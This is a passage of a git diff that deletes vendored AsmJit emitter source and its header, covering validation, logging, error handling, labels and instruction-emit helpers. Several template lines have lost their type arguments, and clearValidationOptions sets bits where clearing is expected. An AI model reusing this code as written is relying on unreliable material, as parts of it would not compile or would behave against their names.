-} - -// ============================================================================ -// [asmjit::BaseEmitter - Internals] -// ============================================================================ - -static constexpr uint32_t kEmitterPreservedFlags = BaseEmitter::kFlagOwnLogger | BaseEmitter::kFlagOwnErrorHandler; - -static ASMJIT_NOINLINE void BaseEmitter_updateForcedOptions(BaseEmitter* self) noexcept { - bool emitComments = false; - bool hasValidationOptions = false; - - if (self->emitterType() == BaseEmitter::kTypeAssembler) { - // Assembler: Don't emit comments if logger is not attached. - emitComments = self->_code != nullptr && self->_logger != nullptr; - hasValidationOptions = self->hasValidationOption(BaseEmitter::kValidationOptionAssembler); - } - else { - // Builder/Compiler: Always emit comments, we cannot assume they won't be used. - emitComments = self->_code != nullptr; - hasValidationOptions = self->hasValidationOption(BaseEmitter::kValidationOptionIntermediate); - } - - if (emitComments) - self->_addEmitterFlags(BaseEmitter::kFlagLogComments); - else - self->_clearEmitterFlags(BaseEmitter::kFlagLogComments); - - // The reserved option tells emitter (Assembler/Builder/Compiler) that there - // may be either a border case (CodeHolder not attached, for example) or that - // logging or validation is required. - if (self->_code == nullptr || self->_logger || hasValidationOptions) - self->_forcedInstOptions |= BaseInst::kOptionReserved; - else - self->_forcedInstOptions &= ~BaseInst::kOptionReserved; -} - -// ============================================================================ -// [asmjit::BaseEmitter - Validation Options] -// ============================================================================ - -void BaseEmitter::addValidationOptions(uint32_t options) noexcept { - _validationOptions = uint8_t(_validationOptions | options); - BaseEmitter_updateForcedOptions(this); -} - -void BaseEmitter::clearValidationOptions(uint32_t options) noexcept { - _validationOptions = uint8_t(_validationOptions | options); - BaseEmitter_updateForcedOptions(this); -} - -// ============================================================================ -// [asmjit::BaseEmitter - Logging] -// ============================================================================ - -void BaseEmitter::setLogger(Logger* logger) noexcept { -#ifndef ASMJIT_NO_LOGGING - if (logger) { - _logger = logger; - _addEmitterFlags(kFlagOwnLogger); - } - else { - _logger = nullptr; - _clearEmitterFlags(kFlagOwnLogger); - if (_code) - _logger = _code->logger(); - } - BaseEmitter_updateForcedOptions(this); -#else - DebugUtils::unused(logger); -#endif -} - -// ============================================================================ -// [asmjit::BaseEmitter - Error Handling] -// ============================================================================ - -void BaseEmitter::setErrorHandler(ErrorHandler* errorHandler) noexcept { - if (errorHandler) { - _errorHandler = errorHandler; - _addEmitterFlags(kFlagOwnErrorHandler); - } - else { - _errorHandler = nullptr; - _clearEmitterFlags(kFlagOwnErrorHandler); - if (_code) - _errorHandler = _code->errorHandler(); - } -} - -Error BaseEmitter::reportError(Error err, const char* message) { - ErrorHandler* eh = _errorHandler; - if (eh) { - if (!message) - message = DebugUtils::errorAsString(err); - eh->handleError(err, message, this); - } - return err; -} - -// ============================================================================ -// [asmjit::BaseEmitter - Labels] -// ============================================================================ - -Label BaseEmitter::labelByName(const char* name, size_t nameSize, uint32_t parentId) noexcept { - return Label(_code ? _code->labelIdByName(name, nameSize, parentId) : uint32_t(Globals::kInvalidId)); -} - -bool BaseEmitter::isLabelValid(uint32_t labelId) const noexcept { - return _code && labelId < _code->labelCount(); -} - -// ============================================================================ -// [asmjit::BaseEmitter - Emit (Low-Level)] -// ============================================================================ - -using EmitterUtils::noExt; - -Error BaseEmitter::_emitI(uint32_t instId) { - return _emit(instId, noExt[0], noExt[1], noExt[2], noExt); -} - -Error BaseEmitter::_emitI(uint32_t instId, const Operand_& o0) { - return _emit(instId, o0, noExt[1], noExt[2], noExt); -} - -Error BaseEmitter::_emitI(uint32_t instId, const Operand_& o0, const Operand_& o1) { - return _emit(instId, o0, o1, noExt[2], noExt); -} - -Error BaseEmitter::_emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2) { - return _emit(instId, o0, o1, o2, noExt); -} - -Error BaseEmitter::_emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3) { - Operand_ opExt[3] = { o3 }; - return _emit(instId, o0, o1, o2, opExt); -} - -Error BaseEmitter::_emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4) { - Operand_ opExt[3] = { o3, o4 }; - return _emit(instId, o0, o1, o2, opExt); -} - -Error BaseEmitter::_emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, const Operand_& o5) { - Operand_ opExt[3] = { o3, o4, o5 }; - return _emit(instId, o0, o1, o2, opExt); -} - -Error BaseEmitter::_emitOpArray(uint32_t instId, const Operand_* operands, size_t opCount) { - const Operand_* op = operands; - - Operand_ opExt[3]; - - switch (opCount) { - case 0: - return _emit(instId, noExt[0], noExt[1], noExt[2], noExt); - - case 1: - return _emit(instId, op[0], noExt[1], noExt[2], noExt); - - case 2: - return _emit(instId, op[0], op[1], noExt[2], noExt); - - case 3: - return _emit(instId, op[0], op[1], op[2], noExt); - - case 4: - opExt[0] = op[3]; - opExt[1].reset(); - opExt[2].reset(); - return _emit(instId, op[0], op[1], op[2], opExt); - - case 5: - opExt[0] = op[3]; - opExt[1] = op[4]; - opExt[2].reset(); - return _emit(instId, op[0], op[1], op[2], opExt); - - case 6: - return _emit(instId, op[0], op[1], op[2], op + 3); - - default: - return DebugUtils::errored(kErrorInvalidArgument); - } -} - -// ============================================================================ -// [asmjit::BaseEmitter - Emit (High-Level)] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Error BaseEmitter::emitProlog(const FuncFrame& frame) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - -#ifdef ASMJIT_BUILD_X86 - if (environment().isFamilyX86()) { - x86::EmitHelper emitHelper(this, frame.isAvxEnabled()); - return emitHelper.emitProlog(frame); - } -#endif - -#ifdef ASMJIT_BUILD_ARM - if (environment().isArchAArch64()) { - a64::EmitHelper emitHelper(this); - return emitHelper.emitProlog(frame); - } -#endif - - return DebugUtils::errored(kErrorInvalidArch); -} - -ASMJIT_FAVOR_SIZE Error BaseEmitter::emitEpilog(const FuncFrame& frame) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - -#ifdef ASMJIT_BUILD_X86 - if (environment().isFamilyX86()) { - x86::EmitHelper emitHelper(this, frame.isAvxEnabled()); - return emitHelper.emitEpilog(frame); - } -#endif - -#ifdef ASMJIT_BUILD_ARM - if (environment().isArchAArch64()) { - a64::EmitHelper emitHelper(this); - return emitHelper.emitEpilog(frame); - } -#endif - - return DebugUtils::errored(kErrorInvalidArch); -} - -ASMJIT_FAVOR_SIZE Error BaseEmitter::emitArgsAssignment(const FuncFrame& frame, const FuncArgsAssignment& args) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - -#ifdef ASMJIT_BUILD_X86 - if (environment().isFamilyX86()) { - x86::EmitHelper emitHelper(this, frame.isAvxEnabled()); - return emitHelper.emitArgsAssignment(frame, args); - } -#endif - -#ifdef ASMJIT_BUILD_ARM - if (environment().isArchAArch64()) { - a64::EmitHelper emitHelper(this); - return emitHelper.emitArgsAssignment(frame, args); - } -#endif - - return DebugUtils::errored(kErrorInvalidArch); -} - -// ============================================================================ -// [asmjit::BaseEmitter - Comment] -// ============================================================================ - -Error BaseEmitter::commentf(const char* fmt, ...) { - if (!hasEmitterFlag(kFlagLogComments)) { - if (!hasEmitterFlag(kFlagAttached)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - return kErrorOk; - } - -#ifndef ASMJIT_NO_LOGGING - StringTmp<1024> sb; - - va_list ap; - va_start(ap, fmt); - Error err = sb.appendVFormat(fmt, ap); - va_end(ap); - - ASMJIT_PROPAGATE(err); - return comment(sb.data(), sb.size()); -#else - DebugUtils::unused(fmt); - return kErrorOk; -#endif -} - -Error BaseEmitter::commentv(const char* fmt, va_list ap) { - if (!hasEmitterFlag(kFlagLogComments)) { - if (!hasEmitterFlag(kFlagAttached)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - return kErrorOk; - } - -#ifndef ASMJIT_NO_LOGGING - StringTmp<1024> sb; - Error err = sb.appendVFormat(fmt, ap); - - ASMJIT_PROPAGATE(err); - return comment(sb.data(), sb.size()); -#else - DebugUtils::unused(fmt, ap); - return kErrorOk; -#endif -} - -// ============================================================================ -// [asmjit::BaseEmitter - Events] -// ============================================================================ - -Error BaseEmitter::onAttach(CodeHolder* code) noexcept { - _code = code; - _environment = code->environment(); - _addEmitterFlags(kFlagAttached); - - const ArchTraits& archTraits = ArchTraits::byArch(code->arch()); - uint32_t nativeRegType = Environment::is32Bit(code->arch()) ? BaseReg::kTypeGp32 : BaseReg::kTypeGp64; - _gpRegInfo.setSignature(archTraits._regInfo[nativeRegType].signature()); - - onSettingsUpdated(); - return kErrorOk; -} - -Error BaseEmitter::onDetach(CodeHolder* code) noexcept { - DebugUtils::unused(code); - - if (!hasOwnLogger()) - _logger = nullptr; - - if (!hasOwnErrorHandler()) - _errorHandler = nullptr; - - _clearEmitterFlags(~kEmitterPreservedFlags); - _forcedInstOptions = BaseInst::kOptionReserved; - _privateData = 0; - - _environment.reset(); - _gpRegInfo.reset(); - - _instOptions = 0; - _extraReg.reset(); - _inlineComment = nullptr; - - return kErrorOk; -} - -void BaseEmitter::onSettingsUpdated() noexcept { - // Only called when attached to CodeHolder by CodeHolder. - ASMJIT_ASSERT(_code != nullptr); - - if (!hasOwnLogger()) - _logger = _code->logger(); - - if (!hasOwnErrorHandler()) - _errorHandler = _code->errorHandler(); - - BaseEmitter_updateForcedOptions(this); -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/emitter.h b/src/Theodosius/asmjit/core/emitter.h deleted file mode 100644 index fcb9bb5..0000000 --- a/src/Theodosius/asmjit/core/emitter.h +++ /dev/null @@ -1,723 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_EMITTER_H_INCLUDED -#define ASMJIT_CORE_EMITTER_H_INCLUDED - -#include "../core/archtraits.h" -#include "../core/codeholder.h" -#include "../core/inst.h" -#include "../core/operand.h" -#include "../core/type.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [Forward Declarations] -// ============================================================================ - -class ConstPool; -class FuncFrame; -class FuncArgsAssignment; - -// ============================================================================ -// [asmjit::BaseEmitter] -// ============================================================================ - -//! Provides a base foundation to emit code - specialized by `Assembler` and -//! `BaseBuilder`. -class ASMJIT_VIRTAPI BaseEmitter { -public: - ASMJIT_BASE_CLASS(BaseEmitter) - - //! See \ref EmitterType. - uint8_t _emitterType = 0; - //! See \ref BaseEmitter::EmitterFlags. - uint8_t _emitterFlags = 0; - //! Validation flags in case validation is used, see \ref InstAPI::ValidationFlags. - //! - //! \note Validation flags are specific to the emitter and they are setup at - //! construction time and then never changed. - uint8_t _validationFlags = 0; - //! Validation options, see \ref ValidationOptions. - uint8_t _validationOptions = 0; - - //! Encoding options, see \ref EncodingOptions. - uint32_t _encodingOptions = 0; - - //! Forced instruction options, combined with \ref _instOptions by \ref emit(). - uint32_t _forcedInstOptions = BaseInst::kOptionReserved; - //! Internal private data used freely by any emitter. - uint32_t _privateData = 0; - - //! CodeHolder the emitter is attached to. - CodeHolder* _code = nullptr; - //! Attached \ref Logger. - Logger* _logger = nullptr; - //! Attached \ref ErrorHandler. - ErrorHandler* _errorHandler = nullptr; - - //! Describes the target environment, matches \ref CodeHolder::environment(). - Environment _environment {}; - //! Native GP register signature and signature related information. - RegInfo _gpRegInfo {}; - - //! Next instruction options (affects the next instruction). - uint32_t _instOptions = 0; - //! Extra register (op-mask {k} on AVX-512) (affects the next instruction). - RegOnly _extraReg {}; - //! Inline comment of the next instruction (affects the next instruction). - const char* _inlineComment = nullptr; - - //! Emitter type. - enum EmitterType : uint32_t { - //! Unknown or uninitialized. - kTypeNone = 0, - //! Emitter inherits from \ref BaseAssembler. - kTypeAssembler = 1, - //! Emitter inherits from \ref BaseBuilder. - kTypeBuilder = 2, - //! Emitter inherits from \ref BaseCompiler. - kTypeCompiler = 3, - - //! Count of emitter types. - kTypeCount = 4 - }; - - //! Emitter flags. - enum EmitterFlags : uint32_t { - //! Emitter is attached to CodeHolder. - kFlagAttached = 0x01u, - //! The emitter must emit comments. - kFlagLogComments = 0x08u, - //! The emitter has its own \ref Logger (not propagated from \ref CodeHolder). - kFlagOwnLogger = 0x10u, - //! The emitter has its own \ref ErrorHandler (not propagated from \ref CodeHolder). - kFlagOwnErrorHandler = 0x20u, - //! The emitter was finalized. - kFlagFinalized = 0x40u, - //! The emitter was destroyed. - kFlagDestroyed = 0x80u - }; - - //! Encoding options. - enum EncodingOptions : uint32_t { - //! Emit instructions that are optimized for size, if possible. - //! - //! Default: false. - //! - //! X86 Specific - //! ------------ - //! - //! When this option is set it the assembler will try to fix instructions - //! if possible into operation equivalent instructions that take less bytes - //! by taking advantage of implicit zero extension. For example instruction - //! like `mov r64, imm` and `and r64, imm` can be translated to `mov r32, imm` - //! and `and r32, imm` when the immediate constant is lesser than `2^31`. - kEncodingOptionOptimizeForSize = 0x00000001u, - - //! Emit optimized code-alignment sequences. - //! - //! Default: false. - //! - //! X86 Specific - //! ------------ - //! - //! Default align sequence used by X86 architecture is one-byte (0x90) - //! opcode that is often shown by disassemblers as NOP. However there are - //! more optimized align sequences for 2-11 bytes that may execute faster - //! on certain CPUs. If this feature is enabled AsmJit will generate - //! specialized sequences for alignment between 2 to 11 bytes. - kEncodingOptionOptimizedAlign = 0x00000002u, - - //! Emit jump-prediction hints. - //! - //! Default: false. - //! - //! X86 Specific - //! ------------ - //! - //! Jump prediction is usually based on the direction of the jump. If the - //! jump is backward it is usually predicted as taken; and if the jump is - //! forward it is usually predicted as not-taken. The reason is that loops - //! generally use backward jumps and conditions usually use forward jumps. - //! However this behavior can be overridden by using instruction prefixes. - //! If this option is enabled these hints will be emitted. - //! - //! This feature is disabled by default, because the only processor that - //! used to take into consideration prediction hints was P4. Newer processors - //! implement heuristics for branch prediction and ignore static hints. This - //! means that this feature can be only used for annotation purposes. - kEncodingOptionPredictedJumps = 0x00000010u - }; - -#ifndef ASMJIT_NO_DEPRECATED - enum EmitterOptions : uint32_t { - kOptionOptimizedForSize = kEncodingOptionOptimizeForSize, - kOptionOptimizedAlign = kEncodingOptionOptimizedAlign, - kOptionPredictedJumps = kEncodingOptionPredictedJumps - }; -#endif - - //! Validation options are used to tell emitters to perform strict validation - //! of instructions passed to \ref emit(). - //! - //! \ref BaseAssembler implementation perform by default only basic checks - //! that are necessary to identify all variations of an instruction so the - //! correct encoding can be selected. This is fine for production-ready code - //! as the assembler doesn't have to perform checks that would slow it down. - //! However, sometimes these checks are beneficial especially when the project - //! that uses AsmJit is in a development phase, in which mistakes happen often. - //! To make the experience of using AsmJit seamless it offers validation - //! features that can be controlled by `ValidationOptions`. - enum ValidationOptions : uint32_t { - //! Perform strict validation in \ref BaseAssembler::emit() implementations. - //! - //! This flag ensures that each instruction is checked before it's encoded - //! into a binary representation. This flag is only relevant for \ref - //! BaseAssembler implementations, but can be set in any other emitter type, - //! in that case if that emitter needs to create an assembler on its own, - //! for the purpose of \ref finalize() it would propagate this flag to such - //! assembler so all instructions passed to it are explicitly validated. - //! - //! Default: false. - kValidationOptionAssembler = 0x00000001u, - - //! Perform strict validation in \ref BaseBuilder::emit() and \ref - //! BaseCompiler::emit() implementations. - //! - //! This flag ensures that each instruction is checked before an \ref - //! InstNode representing the instruction is created by Builder or Compiler. - //! - //! Default: false. - kValidationOptionIntermediate = 0x00000002u - }; - - //! \name Construction & Destruction - //! \{ - - ASMJIT_API explicit BaseEmitter(uint32_t emitterType) noexcept; - ASMJIT_API virtual ~BaseEmitter() noexcept; - - //! \} - - //! \name Cast - //! \{ - - template - inline T* as() noexcept { return reinterpret_cast(this); } - - template - inline const T* as() const noexcept { return reinterpret_cast(this); } - - //! \} - - //! \name Emitter Type & Flags - //! \{ - - //! Returns the type of this emitter, see `EmitterType`. - inline uint32_t emitterType() const noexcept { return _emitterType; } - //! Returns emitter flags , see `Flags`. - inline uint32_t emitterFlags() const noexcept { return _emitterFlags; } - - //! Tests whether the emitter inherits from `BaseAssembler`. - inline bool isAssembler() const noexcept { return _emitterType == kTypeAssembler; } - //! Tests whether the emitter inherits from `BaseBuilder`. - //! - //! \note Both Builder and Compiler emitters would return `true`. - inline bool isBuilder() const noexcept { return _emitterType >= kTypeBuilder; } - //! Tests whether the emitter inherits from `BaseCompiler`. - inline bool isCompiler() const noexcept { return _emitterType == kTypeCompiler; } - - //! Tests whether the emitter has the given `flag` enabled. - inline bool hasEmitterFlag(uint32_t flag) const noexcept { return (_emitterFlags & flag) != 0; } - //! Tests whether the emitter is finalized. - inline bool isFinalized() const noexcept { return hasEmitterFlag(kFlagFinalized); } - //! Tests whether the emitter is destroyed (only used during destruction). - inline bool isDestroyed() const noexcept { return hasEmitterFlag(kFlagDestroyed); } - - inline void _addEmitterFlags(uint32_t flags) noexcept { _emitterFlags = uint8_t(_emitterFlags | flags); } - inline void _clearEmitterFlags(uint32_t flags) noexcept { _emitterFlags = uint8_t(_emitterFlags & ~flags); } - - //! \} - - //! \name Target Information - //! \{ - - //! Returns the CodeHolder this emitter is attached to. - inline CodeHolder* code() const noexcept { return _code; } - - //! Returns the target environment, see \ref Environment. - //! - //! The returned \ref Environment reference matches \ref CodeHolder::environment(). - inline const Environment& environment() const noexcept { return _environment; } - - //! Tests whether the target architecture is 32-bit. - inline bool is32Bit() const noexcept { return environment().is32Bit(); } - //! Tests whether the target architecture is 64-bit. - inline bool is64Bit() const noexcept { return environment().is64Bit(); } - - //! Returns the target architecture type. - inline uint32_t arch() const noexcept { return environment().arch(); } - //! Returns the target architecture sub-type. - inline uint32_t subArch() const noexcept { return environment().subArch(); } - - //! Returns the target architecture's GP register size (4 or 8 bytes). - inline uint32_t registerSize() const noexcept { return environment().registerSize(); } - - //! \} - - //! \name Initialization & Finalization - //! \{ - - //! Tests whether the emitter is initialized (i.e. attached to \ref CodeHolder). - inline bool isInitialized() const noexcept { return _code != nullptr; } - - //! Finalizes this emitter. - //! - //! Materializes the content of the emitter by serializing it to the attached - //! \ref CodeHolder through an architecture specific \ref BaseAssembler. This - //! function won't do anything if the emitter inherits from \ref BaseAssembler - //! as assemblers emit directly to a \ref CodeBuffer held by \ref CodeHolder. - //! However, if this is an emitter that inherits from \ref BaseBuilder or \ref - //! BaseCompiler then these emitters need the materialization phase as they - //! store their content in a representation not visible to \ref CodeHolder. - ASMJIT_API virtual Error finalize(); - - //! \} - - //! \name Logging - //! \{ - - //! Tests whether the emitter has a logger. - inline bool hasLogger() const noexcept { return _logger != nullptr; } - - //! Tests whether the emitter has its own logger. - //! - //! Own logger means that it overrides the possible logger that may be used - //! by \ref CodeHolder this emitter is attached to. - inline bool hasOwnLogger() const noexcept { return hasEmitterFlag(kFlagOwnLogger); } - - //! Returns the logger this emitter uses. - //! - //! The returned logger is either the emitter's own logger or it's logger - //! used by \ref CodeHolder this emitter is attached to. - inline Logger* logger() const noexcept { return _logger; } - - //! Sets or resets the logger of the emitter. - //! - //! If the `logger` argument is non-null then the logger will be considered - //! emitter's own logger, see \ref hasOwnLogger() for more details. If the - //! given `logger` is null then the emitter will automatically use logger - //! that is attached to the \ref CodeHolder this emitter is attached to. - ASMJIT_API void setLogger(Logger* logger) noexcept; - - //! Resets the logger of this emitter. - //! - //! The emitter will bail to using a logger attached to \ref CodeHolder this - //! emitter is attached to, or no logger at all if \ref CodeHolder doesn't - //! have one. - inline void resetLogger() noexcept { return setLogger(nullptr); } - - //! \} - - //! \name Error Handling - //! \{ - - //! Tests whether the emitter has an error handler attached. - inline bool hasErrorHandler() const noexcept { return _errorHandler != nullptr; } - - //! Tests whether the emitter has its own error handler. - //! - //! Own error handler means that it overrides the possible error handler that - //! may be used by \ref CodeHolder this emitter is attached to. - inline bool hasOwnErrorHandler() const noexcept { return hasEmitterFlag(kFlagOwnErrorHandler); } - - //! Returns the error handler this emitter uses. - //! - //! The returned error handler is either the emitter's own error handler or - //! it's error handler used by \ref CodeHolder this emitter is attached to. - inline ErrorHandler* errorHandler() const noexcept { return _errorHandler; } - - //! Sets or resets the error handler of the emitter. - ASMJIT_API void setErrorHandler(ErrorHandler* errorHandler) noexcept; - - //! Resets the error handler. - inline void resetErrorHandler() noexcept { setErrorHandler(nullptr); } - - //! Handles the given error in the following way: - //! 1. If the emitter has \ref ErrorHandler attached, it calls its - //! \ref ErrorHandler::handleError() member function first, and - //! then returns the error. The `handleError()` function may throw. - //! 2. if the emitter doesn't have \ref ErrorHandler, the error is - //! simply returned. - ASMJIT_API Error reportError(Error err, const char* message = nullptr); - - //! \} - - //! \name Encoding Options - //! \{ - - //! Returns encoding options, see \ref EncodingOptions. - inline uint32_t encodingOptions() const noexcept { return _encodingOptions; } - //! Tests whether the encoding `option` is set. - inline bool hasEncodingOption(uint32_t option) const noexcept { return (_encodingOptions & option) != 0; } - - //! Enables the given encoding `options`, see \ref EncodingOptions. - inline void addEncodingOptions(uint32_t options) noexcept { _encodingOptions |= options; } - //! Disables the given encoding `options`, see \ref EncodingOptions. - inline void clearEncodingOptions(uint32_t options) noexcept { _encodingOptions &= ~options; } - - //! \} - - //! \name Validation Options - //! \{ - - //! Returns the emitter's validation options, see \ref ValidationOptions. - inline uint32_t validationOptions() const noexcept { - return _validationOptions; - } - - //! Tests whether the given `option` is present in validation options. - inline bool hasValidationOption(uint32_t option) const noexcept { - return (_validationOptions & option) != 0; - } - - //! Activates the given validation `options`, see \ref ValidationOptions. - //! - //! This function is used to activate explicit validation options that will - //! be then used by all emitter implementations. There are in general two - //! possibilities: - //! - //! - Architecture specific assembler is used. In this case a - //! \ref kValidationOptionAssembler can be used to turn on explicit - //! validation that will be used before an instruction is emitted. - //! This means that internally an extra step will be performed to - //! make sure that the instruction is correct. This is needed, because - //! by default assemblers prefer speed over strictness. - //! - //! This option should be used in debug builds as it's pretty expensive. - //! - //! - Architecture specific builder or compiler is used. In this case - //! the user can turn on \ref kValidationOptionIntermediate option - //! that adds explicit validation step before the Builder or Compiler - //! creates an \ref InstNode to represent an emitted instruction. Error - //! will be returned if the instruction is ill-formed. In addition, - //! also \ref kValidationOptionAssembler can be used, which would not be - //! consumed by Builder / Compiler directly, but it would be propagated - //! to an architecture specific \ref BaseAssembler implementation it - //! creates during \ref BaseEmitter::finalize(). - ASMJIT_API void addValidationOptions(uint32_t options) noexcept; - - //! Deactivates the given validation `options`. - //! - //! See \ref addValidationOptions() and \ref ValidationOptions for more details. - ASMJIT_API void clearValidationOptions(uint32_t options) noexcept; - - //! \} - - //! \name Instruction Options - //! \{ - - //! Returns forced instruction options. - //! - //! Forced instruction options are merged with next instruction options before - //! the instruction is encoded. These options have some bits reserved that are - //! used by error handling, logging, and instruction validation purposes. Other - //! options are globals that affect each instruction. - inline uint32_t forcedInstOptions() const noexcept { return _forcedInstOptions; } - - //! Returns options of the next instruction. - inline uint32_t instOptions() const noexcept { return _instOptions; } - //! Returns options of the next instruction. - inline void setInstOptions(uint32_t options) noexcept { _instOptions = options; } - //! Adds options of the next instruction. - inline void addInstOptions(uint32_t options) noexcept { _instOptions |= options; } - //! Resets options of the next instruction. - inline void resetInstOptions() noexcept { _instOptions = 0; } - - //! Tests whether the extra register operand is valid. - inline bool hasExtraReg() const noexcept { return _extraReg.isReg(); } - //! Returns an extra operand that will be used by the next instruction (architecture specific). - inline const RegOnly& extraReg() const noexcept { return _extraReg; } - //! Sets an extra operand that will be used by the next instruction (architecture specific). - inline void setExtraReg(const BaseReg& reg) noexcept { _extraReg.init(reg); } - //! Sets an extra operand that will be used by the next instruction (architecture specific). - inline void setExtraReg(const RegOnly& reg) noexcept { _extraReg.init(reg); } - //! Resets an extra operand that will be used by the next instruction (architecture specific). - inline void resetExtraReg() noexcept { _extraReg.reset(); } - - //! Returns comment/annotation of the next instruction. - inline const char* inlineComment() const noexcept { return _inlineComment; } - //! Sets comment/annotation of the next instruction. - //! - //! \note This string is set back to null by `_emit()`, but until that it has - //! to remain valid as the Emitter is not required to make a copy of it (and - //! it would be slow to do that for each instruction). - inline void setInlineComment(const char* s) noexcept { _inlineComment = s; } - //! Resets the comment/annotation to nullptr. - inline void resetInlineComment() noexcept { _inlineComment = nullptr; } - - //! \} - - //! \name Sections - //! \{ - - virtual Error section(Section* section) = 0; - - //! \} - - //! \name Labels - //! \{ - - //! Creates a new label. - virtual Label newLabel() = 0; - //! Creates a new named label. - virtual Label newNamedLabel(const char* name, size_t nameSize = SIZE_MAX, uint32_t type = Label::kTypeGlobal, uint32_t parentId = Globals::kInvalidId) = 0; - - //! Creates a new external label. - inline Label newExternalLabel(const char* name, size_t nameSize = SIZE_MAX) { - return newNamedLabel(name, nameSize, Label::kTypeExternal); - } - - //! Returns `Label` by `name`. - //! - //! Returns invalid Label in case that the name is invalid or label was not found. - //! - //! \note This function doesn't trigger ErrorHandler in case the name is invalid - //! or no such label exist. You must always check the validity of the `Label` returned. - ASMJIT_API Label labelByName(const char* name, size_t nameSize = SIZE_MAX, uint32_t parentId = Globals::kInvalidId) noexcept; - - //! Binds the `label` to the current position of the current section. - //! - //! \note Attempt to bind the same label multiple times will return an error. - virtual Error bind(const Label& label) = 0; - - //! Tests whether the label `id` is valid (i.e. registered). - ASMJIT_API bool isLabelValid(uint32_t labelId) const noexcept; - //! Tests whether the `label` is valid (i.e. registered). - inline bool isLabelValid(const Label& label) const noexcept { return isLabelValid(label.id()); } - - //! \} - - //! \name Emit - //! \{ - - // NOTE: These `emit()` helpers are designed to address a code-bloat generated - // by C++ compilers to call a function having many arguments. Each parameter to - // `_emit()` requires some code to pass it, which means that if we default to - // 5 arguments in `_emit()` and instId the C++ compiler would have to generate - // a virtual function call having 5 parameters and additional `this` argument, - // which is quite a lot. Since by default most instructions have 2 to 3 operands - // it's better to introduce helpers that pass from 0 to 6 operands that help to - // reduce the size of emit(...) function call. - - //! Emits an instruction (internal). - ASMJIT_API Error _emitI(uint32_t instId); - //! \overload - ASMJIT_API Error _emitI(uint32_t instId, const Operand_& o0); - //! \overload - ASMJIT_API Error _emitI(uint32_t instId, const Operand_& o0, const Operand_& o1); - //! \overload - ASMJIT_API Error _emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2); - //! \overload - ASMJIT_API Error _emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3); - //! \overload - ASMJIT_API Error _emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4); - //! \overload - ASMJIT_API Error _emitI(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, const Operand_& o5); - - //! Emits an instruction `instId` with the given `operands`. - template - ASMJIT_INLINE Error emit(uint32_t instId, Args&&... operands) { - return _emitI(instId, Support::ForwardOp::forward(operands)...); - } - - inline Error emitOpArray(uint32_t instId, const Operand_* operands, size_t opCount) { - return _emitOpArray(instId, operands, opCount); - } - - inline Error emitInst(const BaseInst& inst, const Operand_* operands, size_t opCount) { - setInstOptions(inst.options()); - setExtraReg(inst.extraReg()); - return _emitOpArray(inst.id(), operands, opCount); - } - - //! \cond INTERNAL - //! Emits an instruction - all 6 operands must be defined. - virtual Error _emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* oExt) = 0; - //! Emits instruction having operands stored in array. - ASMJIT_API virtual Error _emitOpArray(uint32_t instId, const Operand_* operands, size_t opCount); - //! \endcond - - //! \} - - //! \name Emit Utilities - //! \{ - - ASMJIT_API Error emitProlog(const FuncFrame& frame); - ASMJIT_API Error emitEpilog(const FuncFrame& frame); - ASMJIT_API Error emitArgsAssignment(const FuncFrame& frame, const FuncArgsAssignment& args); - - //! \} - - //! \name Align - //! \{ - - //! Aligns the current CodeBuffer position to the `alignment` specified. - //! - //! The sequence that is used to fill the gap between the aligned location - //! and the current location depends on the align `mode`, see \ref AlignMode. - virtual Error align(uint32_t alignMode, uint32_t alignment) = 0; - - //! \} - - //! \name Embed - //! \{ - - //! Embeds raw data into the \ref CodeBuffer. - virtual Error embed(const void* data, size_t dataSize) = 0; - - //! Embeds a typed data array. - //! - //! This is the most flexible function for embedding data as it allows to: - //! - Assign a `typeId` to the data, so the emitter knows the type of - //! items stored in `data`. Binary data should use \ref Type::kIdU8. - //! - Repeat the given data `repeatCount` times, so the data can be used - //! as a fill pattern for example, or as a pattern used by SIMD instructions. - virtual Error embedDataArray(uint32_t typeId, const void* data, size_t itemCount, size_t repeatCount = 1) = 0; - - //! Embeds int8_t `value` repeated by `repeatCount`. - inline Error embedInt8(int8_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdI8, &value, 1, repeatCount); } - //! Embeds uint8_t `value` repeated by `repeatCount`. - inline Error embedUInt8(uint8_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdU8, &value, 1, repeatCount); } - //! Embeds int16_t `value` repeated by `repeatCount`. - inline Error embedInt16(int16_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdI16, &value, 1, repeatCount); } - //! Embeds 